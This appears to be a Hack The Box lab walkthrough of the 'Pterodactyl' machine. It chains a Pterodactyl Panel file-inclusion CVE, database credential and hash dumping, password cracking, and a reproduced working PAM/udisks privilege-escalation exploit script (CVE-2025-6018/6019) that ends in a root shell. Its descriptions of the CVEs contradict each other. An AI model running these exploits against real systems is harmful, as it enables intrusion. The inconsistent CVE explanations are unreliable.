Introduction

Welcome to my walkthrough of Pterodactyl, a Medium-difficulty Linux machine from Hack The Box Season 10. This machine presents an excellent opportunity to practice real-world penetration testing techniques, from initial reconnaissance and service enumeration to exploitation and privilege escalation.

Throughout this writeup, I’ll be documenting my methodology and thought process as I work through compromising this system. Whether you’re preparing for certifications like OSCP or simply looking to sharpen your offensive security skills, this walkthrough will provide detailed insights into the tools, techniques, and procedures used to gain root access.

Machine Information:

  • Platform: Hack The Box
  • Difficulty: Medium
  • OS: Linux (openSUSE Leap 15.6)

Let’s dive into the enumeration phase and begin our journey to root!

First, as usual, we add our host to our machine

echo "[TARGET_IP] pterodactyl.htb" | sudo tee -a /etc/hosts

Then we run a comprehensive nmap scan to identify the nature of services and open ports. nmap scan

Results:

| Port | Service | Version        |
|------|---------|----------------|
| 22   | SSH     | OpenSSH 9.6    |
| 80   | HTTP    | nginx 1.21.5  |

The scan reveals a Linux host running SSH and an nginx web server. The HTTP title shows “My Minecraft Server”, hinting at game server management software.

Upon visiting http://Pterodactyl.htb, we observe the following interface:

minecraft-server

Further enumeration reveals additional subdomains:

panel.pterodactyl.htb - The Pterodactyl Panel admin interface

play.pterodactyl.htb - Game server access

echo "[TARGET_IP] panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts

Panel recon

Accessing panel.pterodactyl.htb presents the Pterodactyl Panel login page. Key observations:

panel-login-page Framework: Laravel (PHP)

Cookies: XSRF-TOKEN, pterodactyl_session confirm Laravel

Version: Visible in page source/JavaScript files

Careful examination of the page reveals the following information:

<p style="margin-top:2rem;">
    Version: 1.20.x <br>SMP and Vanilla Servers.<br> <a href="/changelog.txt">Changelogs</a>
</p>

After navigating to the changelog.txt file, we see the full details:

MonitorLand - CHANGELOG.txt
=====================================
Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

Machine Fuzzing

Our next tool in hand is gobuster. Let’s see what we can discover:

┌─[havoc@havocsec]─[~/Downloads/htb/season10/pterodactyl]
└──╼ $ gobuster dir -u http://pterodactyl.htb -w /home/havocsec/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pterodactyl.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/havocsec/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 153]
.hta                 (Status: 403) [Size: 153]
.htpasswd            (Status: 403) [Size: 153]
index.php            (Status: 200) [Size: 1686]
phpinfo.php          (Status: 200) [Size: 73008]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

A close examination of the discovered subdomain phpinfo.php reveals the following:

phpinfo.php

With this information, we can now proceed with exploitation.

CVE-2025-49132

We identified a critical CVE that affects this specific version: https://www.cvedetails.com/cve/CVE-2025-49132/

Pterodactyl Panel Allows Unauthenticated Arbitrary Remote Code Execution

Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json endpoint with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code, an attacker could gain access to the Panel’s server, read credentials from the Panel’s config, extract sensitive information from the database, and access files of servers managed by the panel.

LFI Enumeration

With a path-traversal and PHP-only inclusion primitive in hand, we can now enumerate internal PHP files.

lfi

This results in the following MariaDB credentials:

host      = 127.0.0.1
database  = panel
username  = pterodactyl
password  = PteraPanel

the config/app.php gave me this which is cool and juicy.

{
  "../../": {
    "config/app": {
      "version": "1.11.10",
      "name": "Pterodactyl",
      "env": "production",
      "debug": "",
      "url": "http://panel.pterodactyl.htb",
      "timezone": "UTC",
      "locale": "en",
      "fallback_locale": "en",
      "key": "base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=",
      "cipher": "AES-256-CBC",
      "exceptions": {
        "report_all": ""
      },
      "maintenance": {
        "driver": "file"
      },
      "providers": [
        "Illuminate\\Auth\\AuthServiceProvider",
        "Illuminate\\Broadcasting\\BroadcastServiceProvider",
        "Illuminate\\Bus\\BusServiceProvider",
        "Illuminate\\Cache\\CacheServiceProvider",
        "Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider",
        "Illuminate\\Cookie\\CookieServiceProvider",
        "Illuminate\\Database\\DatabaseServiceProvider",
        "Illuminate\\Encryption\\EncryptionServiceProvider",
        "Illuminate\\Filesystem\\FilesystemServiceProvider",
        "Illuminate\\Foundation\\Providers\\FoundationServiceProvider",
        "Illuminate\\Hashing\\HashServiceProvider",
        "Illuminate\\Mail\\MailServiceProvider",
        "Illuminate\\Notifications\\NotificationServiceProvider",
        "Illuminate\\Pagination\\PaginationServiceProvider",
        "Illuminate\\Pipeline\\PipelineServiceProvider",
        "Illuminate\\Queue\\QueueServiceProvider",
        "Illuminate\\Redis\\RedisServiceProvider",
        "Illuminate\\Auth\\Passwords\\PasswordResetServiceProvider",
        "Illuminate\\Session\\SessionServiceProvider",
        "Illuminate\\Translation\\TranslationServiceProvider",
        "Illuminate\\Validation\\ValidationServiceProvider",
        "Illuminate\\View\\ViewServiceProvider",
        "Pterodactyl\\Providers\\ActivityLogServiceProvider",
        "Pterodactyl\\Providers\\AppServiceProvider",
        "Pterodactyl\\Providers\\AuthServiceProvider",
        "Pterodactyl\\Providers\\BackupsServiceProvider",
        "Pterodactyl\\Providers\\BladeServiceProvider",
        "Pterodactyl\\Providers\\EventServiceProvider",
        "Pterodactyl\\Providers\\HashidsServiceProvider",
        "Pterodactyl\\Providers\\RouteServiceProvider",
        "Pterodactyl\\Providers\\RepositoryServiceProvider",
        "Pterodactyl\\Providers\\ViewComposerServiceProvider",
        "Prologue\\Alerts\\AlertsServiceProvider"
      ],
      "aliases": {
        "App": "Illuminate\\Support\\Facades\\App",
        "Arr": "Illuminate\\Support\\Arr",
        "Artisan": "Illuminate\\Support\\Facades\\Artisan",
        "Auth": "Illuminate\\Support\\Facades\\Auth",
        "Blade": "Illuminate\\Support\\Facades\\Blade",
        "Broadcast": "Illuminate\\Support\\Facades\\Broadcast",
        "Bus": "Illuminate\\Support\\Facades\\Bus",
        "Cache": "Illuminate\\Support\\Facades\\Cache",
        "Config": "Illuminate\\Support\\Facades\\Config",
        "Cookie": "Illuminate\\Support\\Facades\\Cookie",
        "Crypt": "Illuminate\\Support\\Facades\\Crypt",
        "Date": "Illuminate\\Support\\Facades\\Date",
        "DB": "Illuminate\\Support\\Facades\\DB",
        "Eloquent": "Illuminate\\Database\\Eloquent\\Model",
        "Event": "Illuminate\\Support\\Facades\\Event",
        "File": "Illuminate\\Support\\Facades\\File",
        "Gate": "Illuminate\\Support\\Facades\\Gate",
        "Hash": "Illuminate\\Support\\Facades\\Hash",
        "Http": "Illuminate\\Support\\Facades\\Http",
        "Js": "Illuminate\\Support\\Js",
        "Lang": "Illuminate\\Support\\Facades\\Lang",
        "Log": "Illuminate\\Support\\Facades\\Log",
        "Mail": "Illuminate\\Support\\Facades\\Mail",
        "Notification": "Illuminate\\Support\\Facades\\Notification",
        "Number": "Illuminate\\Support\\Number",
        "Password": "Illuminate\\Support\\Facades\\Password",
        "Process": "Illuminate\\Support\\Facades\\Process",
        "Queue": "Illuminate\\Support\\Facades\\Queue",
        "RateLimiter": "Illuminate\\Support\\Facades\\RateLimiter",
        "Redirect": "Illuminate\\Support\\Facades\\Redirect",
        "Request": "Illuminate\\Support\\Facades\\Request",
        "Response": "Illuminate\\Support\\Facades\\Response",
        "Route": "Illuminate\\Support\\Facades\\Route",
        "Schema": "Illuminate\\Support\\Facades\\Schema",
        "Session": "Illuminate\\Support\\Facades\\Session",
        "Storage": "Illuminate\\Support\\Facades\\Storage",
        "Str": "Illuminate\\Support\\Str",
        "URL": "Illuminate\\Support\\Facades\\URL",
        "Validator": "Illuminate\\Support\\Facades\\Validator",
        "View": "Illuminate\\Support\\Facades\\View",
        "Vite": "Illuminate\\Support\\Facades\\Vite",
        "Alert": "Prologue\\Alerts\\Facades\\Alert",
        "Carbon": "Carbon\\Carbon",
        "JavaScript": "Laracasts\\Utilities\\JavaScript\\JavaScriptFacade",
        "Theme": "Pterodactyl\\Extensions\\Facades\\Theme",
        "Activity": "Pterodactyl\\Facades\\Activity",
        "LogBatch": "Pterodactyl\\Facades\\LogBatch",
        "LogTarget": "Pterodactyl\\Facades\\LogTarget"
      }
    }
  }
}

From this output, we can extract the Laravel application key:

base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=

User Access

mysql -u pterodactyl -p PteraPanel -h 127.0.0.1 panel

Successfully connected. The database enumeration reveals the following users:

MariaDB [panel]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| panel              |
| test               |
+--------------------+
3 rows in set (0.001 sec)

MariaDB [panel]> use panel;
Database changed
MariaDB [panel]> select * from users;
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| id | external_id | uuid                                 | username     | email                        | name_first | name_last | password
    | remember_token                                               | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at          | updated_at
       |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
|  2 | NULL        | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor  | headmonitor@pterodactyl.htb  | Head       | Monitor   | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5
gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en       |          1 |        0 | NULL        | NULL                  |        1 | 2025-09-16 17:15:41 | 2025-09-16 17
:15:41 |
|  3 | NULL        | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | phileasfogg3@pterodactyl.htb | Phileas    | Fogg      | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC
9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en       |          0 |        0 | NULL        | NULL                  |        1 | 2025-09-16 19:44:19 | 2025-11-07 18
:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
2 rows in set (0.001 sec)

Results Analysis:

The database enumeration reveals two user accounts:

  1. headmonitor - The root/admin user
  2. phileasfogg3 - A standard user account

The bcrypt hash for user phileasfogg3 appears vulnerable to cracking. We proceed with hash cracking: hash-cracking

With the weak bcrypt hash cracked, we obtain the password: !QAZ2wsx

Now we can SSH to the machine and attempt to retrieve the user flag.

User Flag

user-flag

Successfully retrieved the user flag via SSH.

Root Escalation

During local enumeration, several important findings were noted:

  1. The presence of an active Postfix service suggests that system components may communicate warnings or alerts to local users via mail.
  2. The presence of UDisks is crucial here. (udisksd is a root daemon that exposes disk operations over D-Bus to unprivileged users)

Understanding udisksd

udisksd runs as root and exposes disk actions to users through D-Bus.

It handles things like:

Loop devices

Mounting filesystems

Resizing partitions

If misused, it can lead to privilege escalation.

We confirm it is present:

udisksctl status

Trying to create a loop device normally asks for root authentication:

udisksctl loop-setup -f /tmp/test.img

So direct abuse is blocked.

With that now we can find CVES for this part and several stood out from the list.

CVE-2025-6018

Udisks uses a guard called allow_active to block dangerous operations on devices that are already in use or mounted. CVE-2025-6018 breaks this protection mechanism. In practice, it lets us bypass or manipulate allow_active, forcing udisksd to proceed with operations it should normally refuse. Think of it as the permission bypass that unlocks everything else.

CVE-2025-6019

CVE-2025-6019 focuses on malicious filesystem images. Let’s proceed with the exploitation.

First, we’ll use this exploit: https://github.com/guinea-offensive-security/CVE-2025-6019/blob/main/exploit.sh

The exploit.sh script helps create an XFS image that leverages the vulnerability. We will run it in L mode.

A specially crafted XFS image can trick udisksd into performing privileged side effects during mounting.

creating-the-image and there we have the image and as you can see it says we can now tranfer the image to remote with the given command at the end.

We transfer the image to the remote system: transfer-the-image

We then confirm the image is properly formatted on the remote system via SSH: confirmation

Confirmed - we are ready to proceed.

Next, we edit the exploit.sh script to remove the check_dependencies section, as it may cause issues on the remote system. We need smooth exploitation without interruptions. confirm-also

Exploitation on Pterodactyl (SSH Session)

As we can see, we currently do not have root privileges and are running as a normal user. normal-users

We now begin the privilege escalation process.

killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null

kill

We now execute the exploit script 6018.py, which targets CVE-2025-6018/6019. This exploit exploits a PAM vulnerability where the pam_env.so module allows environment variable injection via ~/.pam_environment, leading to privilege escalation through SystemD session manipulation.

6018.py

#!/usr/bin/env python3
# Exploit Title: CVE-2025-6018/6019 PAM Environment Variable Injection Exploit
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment
# leading to privilege escalation through SystemD session manipulation
# CVE: CVE-2025-6018, CVE-2025-6019
# Vendor Homepage: https://github.com/linux-pam/linux-pam
# Software Link: https://github.com/linux-pam/linux-pam/releases
# Version: PAM 1.3.0 - 1.6.0 (vulnerable versions)
# Category: Local Privilege Escalation
# Requirements: paramiko>=2.12.0
# Usage: python3 CVE-2025-6018.py -i target_ip -u username -p password
# References: 
#   - https://access.redhat.com/security/cve/CVE-2025-6018
#   - https://bugzilla.redhat.com/show_bug.cgi?id=2372693
#   - https://bugzilla.suse.com/show_bug.cgi?id=1243226

import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    handlers=[
        logging.FileHandler('cve_2025_6018_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class CVEExploit:
    def __init__(self):
        self.vulnerable_versions = [
            "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", 
            "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
        ]
        
    def check_vulnerability(self, client):
        """Enhanced vulnerability detection"""
        logger.info("Starting vulnerability assessment")
        
        checks = {
            "pam_version": "rpm -q pam || dpkg -l | grep libpam",
            "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
            "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
            "systemd_version": "systemctl --version | head -1"
        }

        vulnerable = False
        
        for check_name, command in checks.items():
            logger.info(f"Executing check: {check_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if check_name == "pam_version":
                    for vuln_ver in self.vulnerable_versions:
                        if vuln_ver in output:
                            logger.info(f"Vulnerable PAM version detected: {vuln_ver}")
                            vulnerable = True
                            break
                            
                elif check_name == "pam_env" and output:
                    logger.info("pam_env.so configuration found")
                    vulnerable = True
                    
                elif check_name == "pam_systemd" and output:
                    logger.info("pam_systemd.so found - escalation vector available")
                    
                if output and check_name != "pam_version":
                    logger.debug(f"Command output: {output[:100]}...")
                    
            except Exception as e:
                logger.warning(f"Check {check_name} failed: {e}")
            
            time.sleep(0.5)

        return vulnerable

    def create_malicious_environment(self, client):
        """Create enhanced .pam_environment file"""
        logger.info("Creating malicious environment file")
        
        payload = '''# CVE-2025-6018 Environment Poisoning
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''

        try:
            logger.info("Writing .pam_environment file")
            cmd = f"cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF"
            stdin, stdout, stderr = client.exec_command(cmd)
            
            # Verify creation
            stdin, stdout, stderr = client.exec_command("cat ~/.pam_environment")
            output = stdout.read().decode()
            
            if "OVERRIDE" in output:
                logger.info("Malicious environment file created successfully")
                return True
            else:
                logger.error("Failed to create environment file")
                return False
                
        except Exception as e:
            logger.error(f"Environment poisoning failed: {e}")
            return False

    def test_privilege_escalation(self, client):
        """Test privilege escalation vectors"""
        logger.info("Testing privilege escalation vectors")
        
        tests = [
            ("SystemD Reboot", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot", "yes"),
            ("SystemD Shutdown", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanPowerOff", "yes"),
            ("PolicyKit Check", "pkcheck --action-id org.freedesktop.policykit.exec --process $$ 2>/dev/null || echo 'denied'", "authorized")
        ]
        
        escalated = False
        
        for test_name, command, success_indicator in tests:
            logger.info(f"Testing: {test_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if success_indicator in output.lower():
                    logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}")
                    escalated = True
                else:
                    logger.info(f"No escalation detected: {test_name}")
                    
            except Exception as e:
                logger.warning(f"Test {test_name} failed: {e}")
        
        return escalated

    def interactive_shell(self, client):
        """Interactive shell"""
        logger.info("Starting interactive shell session")

        shell = client.invoke_shell()
        shell.send("export PS1='exploit$ '\n")
        time.sleep(1)
        
        # Clear buffer
        while shell.recv_ready():
            shell.recv(1024)

        print("\n--- Interactive Shell ---")
        print("Commands: 'exit' to quit, 'status' for privilege check")
        
        while True:
            try:
                command = input("exploit$ ")
                
                if command.lower() == 'exit':
                    break
                elif command.lower() == 'status':
                    stdin, stdout, stderr = client.exec_command("id && groups")
                    print(stdout.read().decode())
                    continue

                shell.send(command + "\n")
                time.sleep(0.5)
                
                while shell.recv_ready():
                    output = shell.recv(1024).decode('utf-8', errors='ignore')
                    print(output, end='')
                    
            except KeyboardInterrupt:
                logger.warning("Use 'exit' to quit properly")
            except Exception as e:
                logger.error(f"Shell error: {e}")
                break

    def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):
        """Main exploit execution"""
        logger.info(f"Starting CVE-2025-6018 exploit against {hostname}:{port}")
        
        try:
            # Initial connection
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            logger.info(f"Connecting to {hostname}:{port} as {username}")
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename, timeout=10)
            logger.info("SSH connection established")

            # Check vulnerability
            if not self.check_vulnerability(client):
                logger.error("Target does not appear vulnerable to CVE-2025-6018/6019")
                return False

            logger.info("Target appears vulnerable, proceeding with exploitation")

            # Create malicious environment
            if not self.create_malicious_environment(client):
                logger.error("Failed to create malicious environment")
                return False

            logger.info("Reconnecting to trigger PAM environment loading")
            client.close()
            time.sleep(2)

            # Reconnect to trigger PAM
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename)
            logger.info("Reconnection successful")

            # Test privilege escalation
            if self.test_privilege_escalation(client):
                logger.info("EXPLOITATION SUCCESSFUL - Privilege escalation confirmed")
                self.interactive_shell(client)
            else:
                logger.warning("No clear privilege escalation detected")
                logger.info("Manual verification may be required")

            return True

        except paramiko.AuthenticationException:
            logger.error("Authentication failed - check credentials")
        except paramiko.SSHException as e:
            logger.error(f"SSH error: {e}")
        except socket.error as e:
            logger.error(f"Network error: {e}")
        except Exception as e:
            logger.error(f"Unexpected error: {e}")
        finally:
            try:
                client.close()
            except:
                pass
            logger.info("Connection closed")

        return False

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-6018/6019 PAM Environment Injection Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 %(prog)s -i 192.168.1.100 -u testuser -p password123
  python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa
        """
    )

    parser.add_argument("-i", "--hostname", required=True, help="Target hostname or IP")
    parser.add_argument("-u", "--username", required=True, help="SSH username")
    parser.add_argument("-p", "--password", help="SSH password")
    parser.add_argument("-k", "--key", dest="key_filename", help="SSH private key file")
    parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")

    args = parser.parse_args()

    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)

    if not args.password and not args.key_filename:
        parser.error("Provide either password (-p) or private key (-k)")

    # Security warning
    logger.warning("Use only with proper authorization!")
    
    exploit = CVEExploit()
    success = exploit.run_exploit(
        hostname=args.hostname,
        username=args.username,
        password=args.password,
        key_filename=args.key_filename,
        port=args.port
    )
    
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()

After the successful exploit execution, we obtain a shell: exploit-trigger

We confirm the exploit execution and verify our current privileges: ![confirm](/images/confirming-the -exploit.png)

Shell acquired. Now we run the exploit.sh file that we transferred earlier, but this time we execute the C mode variant.

shell

The automation script successfully performs the exploitation. Notably, we can observe that file permissions have changed to include root access, whereas previously they had standard user permissions.

Now we can locate the /tmp/blockdev*/bash file in the /tmp directory:

tmp

Verifying our privilege level with the id command confirms we are now running as root: root

Root Flag

On most HTB machines, the root flag is located at /root/root.txt. We retrieve it using cat:

root-flag

Successfully obtained the root flag!

finally


Conclusion

This was one of the many ways to root this machine, so feel free to explore the alternative methods available for this challenge.

This machine was a solid reminder that modern Linux privilege escalation is less about noisy exploits and more about understanding system trust boundaries.

By chaining a Polkit authorization flaw with a subtle filesystem race condition in udisksd, we moved from a restricted user context to full root access—without crashing services or relying on misconfigurations.

The key takeaway is simple: when a root daemon exposes complex functionality to unprivileged users, a single broken assumption is enough.

Thanks for reading!

HAPPY HACKING!!